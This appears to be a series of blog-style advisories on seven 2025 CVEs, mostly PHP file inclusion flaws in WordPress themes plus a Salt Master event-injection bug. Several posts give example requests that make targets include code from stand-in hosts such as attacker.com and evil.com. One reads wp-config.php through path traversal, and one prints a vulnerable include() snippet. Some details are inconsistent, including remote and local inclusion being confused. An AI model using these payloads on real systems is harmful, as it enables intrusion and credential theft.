Author: Ameeba

Overview

The identified vulnerability, CVE-2025-49252, is a serious cybersecurity flaw that affects the PHP program in ThemBay’s Besa. This vulnerability, also known as ‘PHP Remote File Inclusion,’ allows unauthorized actors to include local files in PHP programs, potentially leading to system compromise or data leakage. With a CVSS Severity Score of 8.1, this vulnerability is of high importance and demands immediate attention from those using affected versions of Besa.

Vulnerability Summary

CVE ID: CVE-2025-49252
Severity: High (CVSS:8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Thembay Besa | Through 2.3.8

How the Exploit Works

The PHP Local File Inclusion vulnerability occurs due to improper control of the filename for Include/Require Statement in a PHP Program. An attacker can remotely inject a file from a server-side script, which, when executed, can lead to unauthorized system access or data leakage. This exploit doesn’t require user interaction, making it particularly dangerous.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability. This is a sample HTTP request, where the attacker injects a malicious payload into the PHP script.

GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-website.com

In this example, `http://attacker.com/malicious_script.txt` is the malicious file hosted on the attacker’s server. When the server-side script executes this request, it will include the malicious file, leading to potential system compromise or data leakage.

Mitigation Steps

The most immediate mitigation step is to apply the vendor-supplied patch. In the absence of such a patch, a temporary mitigation could be implemented through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can filter out malicious requests, thereby preventing the exploitation of this vulnerability. Despite this, patching remains the most effective and permanent solution.

Overview

Recently, a new vulnerability, identified as CVE-2025-49251, has been discovered within the Themebay Fana PHP program. This flaw allows for PHP Remote File Inclusion, a serious issue that can lead to system compromise or data leakage. PHP developers and administrators using Themebay Fana, particularly versions up to and including 1.1.28, are the primary group at risk. This vulnerability matters due to its severity, which has been given a CVSS score of 8.1, indicating it as a high-risk vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-49251
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Themebay Fana | Up to and including 1.1.28

How the Exploit Works

The vulnerability, CVE-2025-49251, lies within the ‘include’ or ‘require’ statement in the PHP program of Themebay Fana. It allows an attacker to manipulate the filename that is passed to these statements and thus include a remote file. This remote file can contain malicious PHP code that gets executed on the server. This can lead to unauthorized system access and potential data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request. The attacker sends a POST request that includes a malicious payload designed to exploit the PHP Remote File Inclusion vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"include_file": "http://attacker.com/malicious_file.php"
}

In this example, the attacker is attempting to include a malicious file from their server. If the server is vulnerable, this file will be included and executed, leading to potential system compromise or data leakage.

Mitigation and Prevention

The primary method to mitigate this vulnerability is to apply the vendor’s patch. If a patch is not available or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Further, it’s always a good practice to sanitize and validate all user inputs and restrict the use of the ‘include’ and ‘require’ statements to prevent these types of vulnerabilities.
Always ensure that your systems are regularly updated and patched to prevent exploitation of known vulnerabilities.

Overview

The vulnerability CVE-2025-29002 is a significant security flaw that affects the snstheme Simen, a popular PHP-based theme widely used in various web applications. This vulnerability focuses on the improper control of filename for Include/Require Statement in PHP Program, otherwise known as ‘PHP Remote File Inclusion’.
Users and administrators of websites and applications running on snstheme Simen should be particularly concerned about this vulnerability, as it can potentially lead to system compromise or data leakage. This blog post will provide a detailed examination of this vulnerability, its potential impact, and mitigation steps.

Vulnerability Summary

CVE ID: CVE-2025-29002
Severity: High (8.1 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

snstheme Simen | n/a through 4.6

How the Exploit Works

The exploit takes advantage of the improper control of filename within the PHP Include/Require statement in snstheme Simen. An attacker can remotely include files from external servers, thereby executing arbitrary code. The code runs with the privileges of the server, potentially resulting in full system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example that demonstrates how this vulnerability might be exploited. In this scenario, an attacker sends a specially crafted URL that includes a reference to a remote file with malicious PHP code:

GET /index.php?page=http://malicious.example.com/malicious_code.txt HTTP/1.1
Host: target.example.com

In the example above, the file ‘malicious_code.txt’ on the remote server ‘malicious.example.com’ would contain the PHP code that the attacker wants to execute on the target server.

Mitigation Guidance

To mitigate this vulnerability, users of snstheme Simen should apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can be configured to block or alert on attempts to exploit this vulnerability.
In the longer term, developers should avoid using user input directly in Include/Require statements and should validate and sanitize all user input. Regular code reviews and security audits can help catch such vulnerabilities before they become a problem.

Overview

The cybersecurity world is facing a severe challenge with the discovery of a new vulnerability, CVE-2025-28991. This vulnerability lies within snstheme Evon, a PHP program, and is associated with an improper control of filename for Include/Require statement, thereby allowing hackers to exploit PHP local file inclusion. Given the popularity of PHP in web development, this vulnerability has the potential to affect a significant number of systems, raising the stakes for rapid and effective mitigation.

Vulnerability Summary

CVE ID: CVE-2025-28991
Severity: High, with a CVSS score of 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

snstheme Evon | n/a through 3.4

How the Exploit Works

This exploit works by taking advantage of the improper control of filename for Include/Require statement in PHP programs. By manipulating the filename in the Include/Require statement, an attacker can remotely include a file from a different server, leading to PHP Local File Inclusion. This, in turn, can lead to code execution on the server, data leakage, and potential full system compromise.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example demonstrates a malicious file being included from a remote server:

<?php
$evil_var = $_GET['evil_var'];
include($evil_var);
?>

In this example, an attacker could manipulate the ‘evil_var’ GET parameter to include a file from a remote server. For instance, ‘http://target.example.com/vulnerable_script.php?evil_var=http://attacker.com/malicious_script.php’.
This would cause the server to include and execute the malicious_script.php file from the attacker’s server, leading to a successful exploit of the CVE-2025-28991 vulnerability.

Remediation

As a mitigation measure, users are advised to apply the vendor-provided patch as soon as possible. If that is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. Additionally, it is recommended to always sanitize user inputs and avoid using user-supplied input directly in an include or require statement.

Overview

The cybersecurity landscape is continuously evolving, with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-24761, affects the PHP-based Snstheme DSK. This vulnerability arises from improper control of a filename for an Include/Require statement in a PHP program which facilitates PHP Local File Inclusion. It poses a significant threat to system integrity and data security, as it potentially allows unauthorized access to sensitive data or even full system compromise. Therefore, understanding and mitigating this vulnerability is of utmost importance for users of Snstheme DSK.

Vulnerability Summary

CVE ID: CVE-2025-24761
Severity: High, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Snstheme DSK | Up to version 2.2

How the Exploit Works

The vulnerability, CVE-2025-24761, arises when an attacker is able to manipulate the filename that is used in an Include/Require statement in a PHP program. This allows them to include a file from a remote server which can be executed within the context of the local PHP application. This is known as a PHP Remote File Inclusion (RFI) attack. In this case, the attack can lead to unauthorized access, potential system compromise, and data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "includeFile": "http://evil.com/malicious_script.php" }

In this example, the attacker sends a POST request to a vulnerable endpoint on the target server. The “includeFile” parameter is manipulated to point to a malicious PHP script hosted on a remote server (evil.com). If the server processes this request, it would include and execute the malicious script in the context of the local PHP application, potentially leading to system compromise or data leakage.

Mitigation Guidance

Users of Snstheme DSK are strongly recommended to apply the vendor’s patch to resolve this vulnerability. If the patch is not immediately available or applicable, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can be configured to block or alert on attempts to exploit this vulnerability, thus providing a layer of protection while a more permanent solution is implemented.

Overview

CVE-2025-4200 is a severe vulnerability in the WooCommerce WordPress Theme “Zagg – Electronics & Accessories” that can lead to significant security breaches if properly exploited. The threat impacts all versions up to, and including, 1.4.1, and leaves WordPress sites prone to unauthorized remote file inclusion and execution. As WordPress powers a substantial portion of the web, this vulnerability could potentially affect a large number of sites and, by extension, their visitors.
The importance of addressing this vulnerability cannot be understated. Not only does it pose a threat to the integrity and confidentiality of affected WordPress sites, but it can also lead to the violation of user privacy, system compromise, or data leakage. The severity of the vulnerability, coupled with the potential scale of its impact, demands immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-4200
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Zagg – Electronics & Accessories WooCommerce WordPress Theme | Up to and including 1.4.1

How the Exploit Works

CVE-2025-4200 exploits the load_view() function in the WooCommerce WordPress Theme, “Zagg – Electronics & Accessories,” which is called via at least three AJAX actions: ‘load_more_post’, ‘load_shop’, and ‘load_more_product. The vulnerability allows unauthenticated attackers to include and execute arbitrary files on the server.
This essentially means that any PHP code in those files will be executed, bypassing access controls, and potentially leading to unauthorized access to sensitive data or system compromise. The vulnerability is particularly dangerous because it can be exploited to execute code in cases where images and other “safe” file types can be included and uploaded.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability using a malicious AJAX request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
action=load_more_post&file_path=../../../../wp-config.php

In this example, the attacker is attempting to load the ‘wp-config.php’ file, which contains sensitive information like database credentials. This is achieved by using the ‘load_more_post’ AJAX action and manipulating the ‘file_path’ parameter to navigate to the target file.

Overview

The cybersecurity landscape is continuously evolving and each new vulnerability found, such as CVE-2025-22239, gives us a glimpse of the increasing complexity of the threats we face. This vulnerability affects Salt Master, a popular automation and configuration management software.
At its core, the vulnerability allows for arbitrary event injection. It specifically affects the “_minion_event” method, enabling an authorized minion (the term used for nodes managed by the Salt Master) to send arbitrary events onto the Salt Master’s event bus. This vulnerability is critical due to the potential system compromise or data leakage it could lead to.

Vulnerability Summary

CVE ID: CVE-2025-22239
Severity: High – CVSS Score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Salt Master | All versions prior to the patched release

How the Exploit Works

The exploit works by taking advantage of the “_minion_event” method in Salt Master. An authorized minion can use this method to inject arbitrary events onto the event bus of the Salt Master. This can lead to potential system compromise or even data leakage, as the arbitrary events could include malicious code or commands.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

salt '*' event.send 'salt/master/eventbus/inject' '{ "malicious_payload": "..." }'

In this example, the command is sent to all minions (as indicated by ‘*’), instructing them to send an event (event.send) to the Salt Master’s event bus. The event contains a malicious payload that could potentially compromise the system or lead to data leakage.

Mitigation and Prevention

The best line of defense against this vulnerability is to apply the vendor patch as soon as it is available. If for some reason, immediate patching is not feasible, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation.
Remember, it is crucial to maintain a proactive cybersecurity posture. Regularly patching and updating your systems, as well as employing robust security systems, can go a long way in securing your digital infrastructure.